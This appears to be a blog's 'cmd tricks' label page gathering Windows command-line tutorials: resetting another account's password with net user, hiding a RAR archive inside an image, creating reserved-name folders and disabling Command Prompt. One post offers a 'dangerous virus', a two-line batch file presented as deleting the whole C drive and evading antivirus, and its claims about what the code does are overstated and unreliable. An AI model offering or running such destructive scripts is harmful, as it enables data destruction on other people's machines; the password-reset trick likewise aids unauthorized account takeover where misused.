Showing posts with label cmd tricks. Show all posts
Showing posts with label cmd tricks. Show all posts

How to change windows password without knowing the old password.

How to change password without knowing the old password.


Hey guys , Today I will show you how to change the password of windows without knowing the actual password. This is very simple trick. To change the apssword without knowing the actual password we will gonna need Command prompt(cmd).
 
To change the password just follow these simple steps :

1. Open the command prompt (Start -> Run -> type cmd -> Enter).

2. Now type net user and hit Enter.



3. Now the system will show you a list of all user accounts on the computer. Now you have to select the account of which you wanna change the password . Say for example, you need to reset the password of the account by name Guest, then do as follows:

4. Type net user Guest * and hit Enter.



 5. Now, the system will ask you to enter the new password for the account. That’s it. Now you’ve successfully reset the password for Guest without knowing the old password.

*Note: To change the password of any user, you must b the administrator of the Computer, you must have administrator privileges to change the password of any user.
*Important :
This trick is for educational purpose only.

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How to make a dangerous virus in a minute

Learn To Make Dangerous Virus In A Minute


computer virus
In this post i will teach you to make simple yet very powerful or you can say dangerous computer virus using a batch file. No software is required to make this virus, Notepad is enough for it. The good thing about this virus is it is not detected by any Anti-Virus.


What will this virus do ?  

You will create this virus using batch file programming. This virus will delete the C Drive completely. The good thing about this virus is that it is not detected by antivirus.

How to Make the virus ?

   1. Open Notepad and copy below code into it.

@Echo off
Del C:\ *.* |y

   2. Save this file as Anything.bat (Name can be anything but .bat is must)
   3. Now, running this file will Delete all the content of C Drive.


Warning: Please don't try to run on your own computer or else it will delete all the content of your C Drive. I will not be responsible for any damage done to Your computer

Learn to hide file behind any image

 Learn To Hide Files Behind The Images


hide files behind images

There are some important  files or document you want to hide from others on your computer. To do that you might be creating folder inside folder to hide such files but today I will show you a trick to hide files behind images.To hide a file behind a image  means that if any one opens that image he will see the image, but to see the hidden file we need to open that image in a specific way. Lets start.....

How To Hide File Behind Image ?

In order to do this you should have basic understanding of command line.

1. Select an image to be used for hiding file behind the image.
2. Now select a file to hide behind the image and make it in .RAR format. With the help of the WinRAR.
3. And most important is that paste both the files on desktop. You may do this anywhere instead of desktop if you have some basic understanding of command line.
4. Now open cmd by going to Start > Accessories Command Prompt and type following commands in it.
cd desktop
hide files behind images

5. CD stands for change directory by typing above command you change your directory to desktop. After that type command given below.
 Copy /b imagename.jpg + filename.rar finalimage.jpg
hide files behind images
  • Replace imagename.jpg with the name of image you want your file to be hidden behind. Don't forget to add image format (Eg: .jpg,.png,.gif)
  • Replace filename with name of your file you want to hide. It must be in .rar format.
  • Finally Replace finalname.jpg with whatever name you want your final image with hidden files should be. This is the image where your file will be hidden.
6. Now when you will try to open this newly created image it will open as normal image, but to open you hidden file you need follow steps given below.

How To Access Hidden File ?

To access your hidden file you need to open the newly created image in winrar. Just follow these simple steps..

    1. Open winrar
    2. Now locate your image and open it or simply drag your image in winrar.
    3. Extract the file and done.

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How to create a undeletable and unrenamable folder.

Create a undeletable and unrenamable folder.

creating undeleteable files
In this tutorial you will learn cool and simple trick to Create an undeletable and unrenamable Folders In Windows operating system. Most of the Peoples are not aware that it is possible to create Undeletable, Unrenamable folder in windows without any software. To Test this concept just follow simple steps given below.

Try to make a new folder in windows & give it name con,aux, lpt1, lpt2, lpt3 up to lpt9. you won't be allowed to create folder with above mentioned names, Because they are reserved words in windows.

How To Create Undeletable And Unrenamable Folders ?

  1. Go to Start and then Click on Run
  2. Type cmd & hit enter (To open Command Prompt ).
  3. Remember you cannot create Undeletable & unrenamable folder in your root directory (i.e. where the windows is installed) That means you can't make this kind of folder in C: drive if you installed windows on C:
  4. Type D: or E: and hit enter
  5. Type md con\ and hit enter (md - make directory)
  6. You may use other words such as aux, lpt1, lpt2, lpt3 up to lpt9 instead of con in above step.
  7. Open that directory, you will see the folder created of name con.
  8. Try to delete that folder or rename that folder windows will show the error message.

How to delete that folder ?

It is not possible to delete that folder manually but you can delete this folder by another way mentioned below.
  1. Open Command Prompt
  2. Type D: ( if u created this type of folder in D: drive) & hit enter
  3. Type rd con\ (rd - remove directory)
  4. Open that directory and the folder will not appear because it is removed.

Also check:

How to Disable/Enable CMD in Windows.


Just follow these easy steps::-
Step:1 Open Run. (Press Win Logo Key + R.)

Step:2 Type gpedit.msc and hit Enter to open Group Policy Editor.

(NOTE: You should be the administrator of PC to open GP Editor.)

Also read:To use your pendrive as RAM.

Step:3 In Group Policy window browse to the following path in Left Pane.

User Configuration > Administrative Templates

Step 4: In right pane, Double click on 'System' Folder and then Open 'Prevent Access to the Command Prompt'.

Step:5 You will see a new Dialog box. In this box change the setting to Enable and Click OK.

Now your Command Prompt has been disabled.

To re-enable it locate back to settings (in step 5) and choose Disable.
Note:This trick doesnt work in windows 8,8.1.

Also read:To use your pendrive as RAM.

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